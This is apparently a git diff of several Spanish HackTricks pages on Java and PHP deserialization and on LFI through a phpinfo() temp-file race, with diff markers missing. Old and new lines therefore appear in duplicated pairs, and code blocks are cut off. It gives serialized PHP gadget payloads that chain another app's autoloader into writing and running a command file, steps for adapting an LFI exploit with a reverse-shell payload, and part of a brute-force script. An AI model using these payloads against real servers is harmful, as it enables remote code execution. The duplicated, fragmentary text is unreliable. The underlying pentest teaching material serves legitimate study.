La interfaz `Serializable` de Java (`java.io.Serializable` es una interfaz marcadora que tus clases deben implementar si van a ser **serializadas** y **deserializadas**. La serialización de objetos Java (escritura) se realiza con el [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) y la deserialización (lectura) se realiza con el [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
La interfaz Java `Serializable` (`java.io.Serializable` es una interfaz de marcador que sus clases deben implementar si van a ser **serializadas** y **deserializadas**. La serialización de objetos Java (escritura) se realiza con el [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) y la deserialización (lectura) se realiza con el [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
Veamos un ejemplo con una **clase Person** que es **serializable**. Esta clase **sobrescribe la función readObject**, por lo que cuando **cualquier objeto** de esta **clase** es **deserializado**, esta **función** se va a **ejecutar**.\
En el ejemplo, la **función readObject** de la clase Person llama a la función `eat()` de su mascota y la función `eat()` de un Perro (por alguna razón) llama a un **calc.exe**. **Vamos a ver cómo serializar y deserializar un objeto Person para ejecutar esta calculadora:**
Veamos un ejemplo con una **clase Persona** que es **serializable**. Esta clase **sobrescribe la función readObject**, por lo que cuando **cualquier objeto** de esta **clase** es **deserializado**, esta **función** se va a **ejecutar**.\
En el ejemplo, la **función readObject** de la clase Persona llama a la función `eat()` de su mascota y la función `eat()` de un Perro (por alguna razón) llama a un **calc.exe**. **Vamos a ver cómo serializar y deserializar un objeto Persona para ejecutar esta calculadora:**
**El siguiente ejemplo es de [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
```java
@ -96,3 +97,19 @@ payloadTest("test.ser");
## Conclusión
Como puedes ver en este ejemplo muy básico, la "vulnerabilidad" aquí aparece porque la función **readObject** está **llamando a otras funciones vulnerables**.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,15 +1,31 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
**Revisa la increíble publicación de** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
**Revisa el increíble post de** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,18 +1,34 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
Revisa las publicaciones:
* [https://www.alphabot.com/security/blog/2017/java/Las-ViewStates-de-JSF-mal-configuradas-pueden-conducir-a-vulnerabilidades-RCE-graves.html](https://www.alphabot.com/security/blog/2017/java/Las-ViewStates-de-JSF-mal-configuradas-pueden-conducir-a-vulnerabilidades-RCE-graves.html)
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# PHP - Deserialización + Autoload de Clases
# PHP - Deserialización + Clases de Autoload
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
Primero, debes verificar qué son las [**Clases de Autocarga**](https://www.php.net/manual/en/language.oop5.autoload.php).
Primero, debes verificar qué son [**Clases de Autoloading**](https://www.php.net/manual/en/language.oop5.autoload.php).
## PHP deserialización + spl\_autoload\_register + LFI/Gadget
## Deserialización de PHP + spl\_autoload\_register + LFI/Gadget
Estamos en una situación donde encontramos una **deserialización de PHP en una aplicación web** sin ninguna biblioteca vulnerable a gadgets dentro de **`phpggc`**. Sin embargo, en el mismo contenedor había una **aplicación web de composer diferente con bibliotecas vulnerables**. Por lo tanto, el objetivo era **cargar el cargador de composer de la otra aplicación web** y abusar de él para **cargar un gadget que explotará esa biblioteca con un gadget** de la aplicación web vulnerable a deserialización.
Estamos en una situación donde encontramos una **deserialización de PHP en una webapp** sin **ninguna** biblioteca vulnerable a gadgets dentro de **`phpggc`**. Sin embargo, en el mismo contenedor había una **webapp de composer diferente con bibliotecas vulnerables**. Por lo tanto, el objetivo era **cargar el cargador de composer de la otra webapp** y abusar de él para **cargar un gadget que explotará esa biblioteca con un gadget** de la webapp vulnerable a deserialización.
Pasos:
* Has encontrado una **deserialización** y **no hay ningún gadget** en el código de la aplicación actual
* Puedes abusar de una función **`spl_autoload_register`** como la siguiente para **cargar cualquier archivo local con extensión `.php`**
* Para eso, utilizas una deserialización donde el nombre de la clase estará dentro de **`$name`**. **No puedes usar "/" o "."** en un nombre de clase en un objeto serializado, pero el **código** está **reemplazando** los **guiones bajos** ("\_") **por barras** ("/"). Entonces, un nombre de clase como `tmp_passwd` se transformará en `/tmp/passwd.php` y el código intentará cargarlo.\
Un **ejemplo de gadget** sería: **`O:10:"tmp_passwd":0:{}`**
* Has encontrado una **deserialización** y **no hay ningún gadget** en el código de la aplicación actual.
* Puedes abusar de una función **`spl_autoload_register`** como la siguiente para **cargar cualquier archivo local con extensión `.php`**.
* Para eso, usas una deserialización donde el nombre de la clase va a estar dentro de **`$name`**. **No puedes usar "/" o "."** en un nombre de clase en un objeto serializado, pero el **código** está **reemplazando** los **guiones bajos** ("\_") **por barras** ("/"). Así que un nombre de clase como `tmp_passwd` será transformado en `/tmp/passwd.php` y el código intentará cargarlo.\
Un **ejemplo de gadget** será: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
@ -48,16 +49,16 @@ require __DIR__ . $filename;
});
```
{% hint style="success" %}
Si tienes una **carga de archivos** y puedes subir un archivo con extensión **`.php`**, podrías **abusar directamente de esta funcionalidad** y obtener RCE fácilmente.
Si tienes una **carga de archivos** y puedes subir un archivo con **extensión `.php`**, podrías **abusar de esta funcionalidad directamente** y obtener RCE ya.
{% endhint %}
En mi caso, no tenía algo así, pero dentro del **mismo contenedor** había otra página web de composer con una **biblioteca vulnerable a un gadget `phpggc`**.
En mi caso, no tenía nada como eso, pero había dentro del **mismo contenedor** otra página web de composer con una **biblioteca vulnerable a un gadget `phpggc`**.
* Para cargar esta otra biblioteca, primero necesitas **cargar el cargador de composer de esa otra aplicación web** (porque el de la aplicación actual no accederá a las bibliotecas de la otra). **Conociendo la ruta de la aplicación**, puedes lograrlo muy fácilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (En mi caso, el cargador de composer estaba en `/www/frontend/vendor/autoload.php`)
* Ahora, puedes **cargar** el cargador de **la otra aplicación**, así que es hora de **`generar el payload de phpgcc`** a utilizar. En mi caso, utilicé **`Guzzle/FW1`**, lo que me permitió **escribir cualquier archivo dentro del sistema de archivos**.
* NOTA: El **gadget generado no funcionaba**, para que funcionara **modifiqué** ese payload **`chain.php`** de phpggc y establecí **todos los atributos** de las clases **de privados a públicos**. De lo contrario, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.
* Ahora tenemos la forma de **cargar el cargador de la otra aplicación** y tener un **payload de phpggc que funcione**, pero necesitamos **hacer esto en la MISMA PETICIÓN para que el cargador se cargue cuando se use el gadget**. Para eso, envié un array serializado con ambos objetos como:
* Puedes ver **primero el cargador siendo cargado y luego el payload**
* Para cargar esta otra biblioteca, primero necesitas **cargar el cargador de composer de esa otra aplicación web** (porque el de la aplicación actual no accederá a las bibliotecas de la otra). **Conociendo la ruta de la aplicación**, puedes lograr esto muy fácilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (En mi caso, el cargador de composer estaba en `/www/frontend/vendor/autoload.php`)
* Ahora, puedes **cargar** el **cargador de composer de la otra app**, así que es hora de **`generar la carga útil de phpgcc`** para usar. En mi caso, utilicé **`Guzzle/FW1`**, que me permitió **escribir cualquier archivo dentro del sistema de archivos**.
* NOTA: La **carga útil generada no funcionaba**, para que funcionara **modifiqué** esa carga útil **`chain.php`** de phpggc y establecí **todos los atributos** de las clases **de privado a público**. Si no, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.
* Ahora tenemos la forma de **cargar el cargador de composer de la otra app** y tener una **carga útil de phpggc que funciona**, pero necesitamos **hacer esto en la MISMA SOLICITUD para que el cargador se cargue cuando se use el gadget**. Para eso, envié un array serializado con ambos objetos como:
* Puedes ver **primero el cargador siendo cargado y luego la carga útil**
{% code overflow="wrap" %}
```php
@ -65,7 +66,7 @@ a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
```
{% endcode %}
* Ahora, podemos **crear y escribir un archivo**, sin embargo, el usuario **no pudo escribir en ninguna carpeta dentro del servidor web**. Entonces, como se puede ver en la carga útil, PHP llama a **`system`** con algún **base64** creado en **`/tmp/a.php`**. Luego, podemos **reutilizar el primer tipo de carga útil** que usamos como LFI para cargar el cargador de composer de la otra aplicación web **para cargar el archivo `/tmp/a.php`** generado. Simplemente agréguelo al gadget de deserialización:&#x20;
* Ahora, podemos **crear y escribir un archivo**, sin embargo, el usuario **no pudo escribir en ninguna carpeta dentro del servidor web**. Así que, como puedes ver en la carga útil, PHP llama a **`system`** con algún **base64** que se crea en **`/tmp/a.php`**. Luego, podemos **reutilizar el primer tipo de carga útil** que usamos como LFI para cargar el cargador de composer de la otra aplicación web **para cargar el archivo generado `/tmp/a.php`**. Simplemente agrégalo al gadget de deserialización:&#x20;
{% code overflow="wrap" %}
```php
@ -75,9 +76,24 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
**Resumen de la carga útil**
* **Cargar el autoload de Composer** de una aplicación web diferente en el mismo contenedor
* **Cargar el autoload de composer** de una aplicación web diferente en el mismo contenedor
* **Cargar un gadget phpggc** para abusar de una biblioteca de la otra aplicación web (la aplicación web inicial vulnerable a la deserialización no tenía ningún gadget en sus bibliotecas)
* El gadget **creará un archivo con una carga útil de PHP** en /tmp/a.php con comandos maliciosos (el usuario de la aplicación web no puede escribir en ninguna carpeta de ninguna aplicación web)
* La parte final de nuestra carga útil usará **cargar el archivo php generado** que ejecutará comandos
* El gadget **creará un archivo con una carga útil PHP** en /tmp/a.php con comandos maliciosos (el usuario de la aplicación web no puede escribir en ninguna carpeta de ninguna aplicación web)
* La parte final de nuestra carga útil usará **cargar el archivo PHP generado** que ejecutará comandos
Necesité **llamar a esta deserialización dos veces**. En mis pruebas, la primera vez se creó el archivo `/tmp/a.php` pero no se cargó, y la segunda vez se cargó correctamente.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,47 +1,48 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Para explotar esta vulnerabilidad necesitas: **Una vulnerabilidad de LFI, una página donde se muestre phpinfo(), "file\_uploads = on" y que el servidor pueda escribir en el directorio "/tmp".**
Para explotar esta vulnerabilidad necesitas: **Una vulnerabilidad LFI, una página donde se muestre phpinfo(), "file\_uploads = on" y el servidor debe poder escribir en el directorio "/tmp".**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
Necesitas corregir el exploit (cambiar **=>** por **=>**). Para hacerlo puedes:
Necesitas arreglar el exploit (cambiar **=>** por **=>**). Para hacerlo puedes hacer:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
Debes cambiar también el **payload** al principio del exploit (por ejemplo, para un php-rev-shell), el **REQ1** (esto debería apuntar a la página phpinfo y debe incluir el relleno, es decir: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), y **LFIREQ** (esto debería apuntar a la vulnerabilidad LFI, es decir: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Verifica el doble "%" al explotar el carácter nulo)
Tienes que cambiar también el **payload** al principio del exploit (por ejemplo, por un php-rev-shell), el **REQ1** (esto debería apuntar a la página de phpinfo y debería incluir el padding, es decir: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), y **LFIREQ** (esto debería apuntar a la vulnerabilidad LFI, es decir: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Verifica el doble "%" al explotar el carácter nulo)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
### Teoría
Si se permiten subidas en PHP y se intenta subir un archivo, este archivo se almacena en un directorio temporal hasta que el servidor haya terminado de procesar la solicitud, luego este archivo temporal se elimina.
Si se permiten cargas en PHP y intentas subir un archivo, este archivo se almacena en un directorio temporal hasta que el servidor ha terminado de procesar la solicitud, luego este archivo temporal se elimina.
Entonces, si se ha encontrado una vulnerabilidad LFI en el servidor web, puedes intentar adivinar el nombre del archivo temporal creado y explotar un RCE accediendo al archivo temporal antes de que se elimine.
Entonces, si has encontrado una vulnerabilidad LFI en el servidor web, puedes intentar adivinar el nombre del archivo temporal creado y explotar un RCE accediendo al archivo temporal antes de que se elimine.
En **Windows** los archivos suelen almacenarse en **C:\Windows\temp\php**
En **Windows**, los archivos suelen almacenarse en **C:\Windows\temp\php**
En **Linux** el nombre del archivo suele ser **aleatorio** y se encuentra en **/tmp**. Como el nombre es aleatorio, es necesario **extraer de algún lugar el nombre del archivo temporal** y acceder a él antes de que se elimine. Esto se puede hacer leyendo el valor de la **variable $\_FILES** dentro del contenido de la función "**phpconfig()**".
En **linux**, el nombre del archivo solía ser **aleatorio** y ubicado en **/tmp**. Como el nombre es aleatorio, es necesario **extraer de algún lugar el nombre del archivo temporal** y acceder a él antes de que se elimine. Esto se puede hacer leyendo el valor de la **variable $\_FILES** dentro del contenido de la función "**phpconfig()**".
**phpinfo()**
**PHP** utiliza un búfer de **4096B** y cuando está **lleno**, se **envía al cliente**. Entonces el cliente puede **enviar** **muchas solicitudes grandes** (usando cabeceras grandes) **subiendo un php** reverse **shell**, esperar a que se devuelva la **primera parte de phpinfo()** (donde está el nombre del archivo temporal) e intentar **acceder al archivo temporal** antes de que el servidor de php elimine el archivo explotando una vulnerabilidad LFI.
**PHP** utiliza un búfer de **4096B** y cuando está **lleno**, se **envía al cliente**. Luego, el cliente puede **enviar** **muchas solicitudes grandes** (usando encabezados grandes) **subiendo un php** reverse **shell**, esperar a que se **devuelva la primera parte de phpinfo()** (donde está el nombre del archivo temporal) y tratar de **acceder al archivo temporal** antes de que el servidor php elimine el archivo explotando una vulnerabilidad LFI.
**Script de Python para intentar hacer fuerza bruta con el nombre (si la longitud es 6)**
**Script de Python para intentar forzar el nombre (si la longitud = 6)**
```python
import itertools
import requests
@ -63,16 +64,17 @@ sys.exit(0)
print('[x] Something went wrong, please try again')
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,45 +1,62 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
